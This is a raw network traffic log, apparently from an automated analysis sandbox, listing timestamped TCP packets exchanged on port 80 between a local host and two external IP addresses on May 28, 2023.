May 28, 2023 10:42:51.885960102 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886003017 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886008024 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886050940 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886053085 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886100054 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886101961 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886149883 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886153936 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886195898 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886198997 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886244059 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886246920 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886288881 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886292934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886336088 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886338949 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886383057 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886384010 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886428118 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886430025 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886476994 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886481047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886533976 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886548996 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886595011 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886600018 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886642933 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886643887 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886687040 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886691093 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886734009 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886737108 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886780024 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886785030 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886825085 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886827946 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886871099 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886874914 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886917114 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886919022 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.886962891 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.886964083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887012959 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887015104 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887058973 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887063980 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887106895 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887109995 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887154102 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887181044 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887200117 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887201071 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887248039 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887293100 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887339115 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887362003 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887384892 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887401104 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887430906 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887437105 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887478113 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887504101 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887523890 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887538910 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887577057 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887589931 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887631893 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887645006 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887691975 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887737036 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887743950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887775898 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887784004 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887794018 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887830019 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887873888 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887876987 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887895107 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.887933016 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887967110 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.887984991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.888001919 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.888005018 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.888022900 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.888036013 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.888057947 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.888072968 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.888077021 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.888119936 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.932950974 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933059931 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933108091 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933154106 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933182001 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.933197975 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933223009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.933244944 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933289051 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933300018 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.933334112 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933379889 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933424950 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933429956 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.933468103 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933474064 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.933514118 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933696032 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.933758974 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.975414038 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.975481033 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.975522041 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.975547075 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.975565910 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.975598097 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.975611925 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.975656986 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.975676060 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.975701094 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.975739956 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.975764036 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.976373911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.976464987 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.976481915 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.976511955 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.976557016 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.976582050 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.976603031 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.976655006 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.977312088 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.977360010 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.977405071 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.977425098 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.977451086 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.977497101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.977505922 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.978342056 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.978389978 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.978431940 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.978435993 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.978482962 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.978518009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.978528976 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.978583097 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.979347944 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019349098 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019418001 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019463062 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019507885 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019551039 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019562960 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.019562960 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.019596100 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019644022 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019665956 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.019690990 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019711018 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.019736052 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019782066 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.019845009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.020582914 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.020632982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.020653009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.020678043 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.020724058 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.020771980 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.020787954 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.020836115 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.021524906 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.021572113 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.021616936 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.021653891 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.021662951 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.021709919 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.021763086 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.022490978 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.022536993 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.022555113 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.022582054 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.022627115 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.022672892 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.022696018 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.022720098 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.023399115 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.023442984 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.023488998 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.023535013 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.023546934 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.023581028 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.023586988 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.024394035 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.024441004 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.024485111 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.024509907 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.024533033 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.024548054 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.024581909 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.025057077 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.025338888 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.025386095 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.025430918 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.025476933 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.025485039 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.025521994 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.025527954 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.026321888 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.026370049 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.026415110 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.026437998 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.026460886 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.026464939 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.026508093 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.027268887 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.027443886 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.062979937 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063061953 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063107967 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063153982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063164949 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.063200951 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063236952 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.063246965 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063262939 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.063380957 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063427925 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063442945 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.063477039 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063510895 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.063568115 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.064012051 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.064059973 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.064107895 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.064115047 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.064153910 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.064199924 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.064210892 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.064253092 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.064980030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.065031052 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.065135956 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.065181017 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.065207005 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.065228939 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.065237045 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.065999985 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.066047907 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.066092968 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.066127062 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.066138983 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.066162109 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.066186905 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.066922903 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.066967010 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.067003012 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.067012072 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.067054987 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.067064047 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.067110062 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.067121983 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.067888021 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.067933083 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.067977905 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.068000078 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.068026066 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.068039894 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.068073988 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.068835020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.068926096 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.068943024 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.068973064 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.068975925 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.069020033 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.069067955 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.069119930 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.069794893 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.069839954 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.069885969 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.069904089 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.069931030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.069936037 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.069977045 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.070775032 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.070822001 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.070847988 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.070868015 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.070877075 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.070914030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.070960045 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.071022034 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.071769953 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.071816921 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.071832895 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.079597950 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.079663992 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.079711914 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.079752922 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.079757929 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.079796076 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.079806089 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.079850912 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.079896927 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.079911947 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.079953909 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.080569029 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.080620050 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.080665112 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.080708027 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.080710888 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.080759048 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.080797911 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.081530094 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.081573963 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.081604958 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.081620932 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.081666946 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.081671000 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.081716061 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.081769943 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.082528114 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.082575083 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.082633018 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.082679033 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.082726955 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.082773924 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.082787037 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.083431959 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.083467007 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.083503008 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.084171057 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.084218979 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.084248066 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.084286928 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.084336996 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.084352016 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.084383965 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.084500074 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.085112095 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.085159063 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.085205078 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.085216045 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.085252047 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.085299015 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.085336924 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.085583925 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.085632086 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.085671902 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.085678101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.085725069 CEST	80	49722	188.114.97.7	192.168.2.3
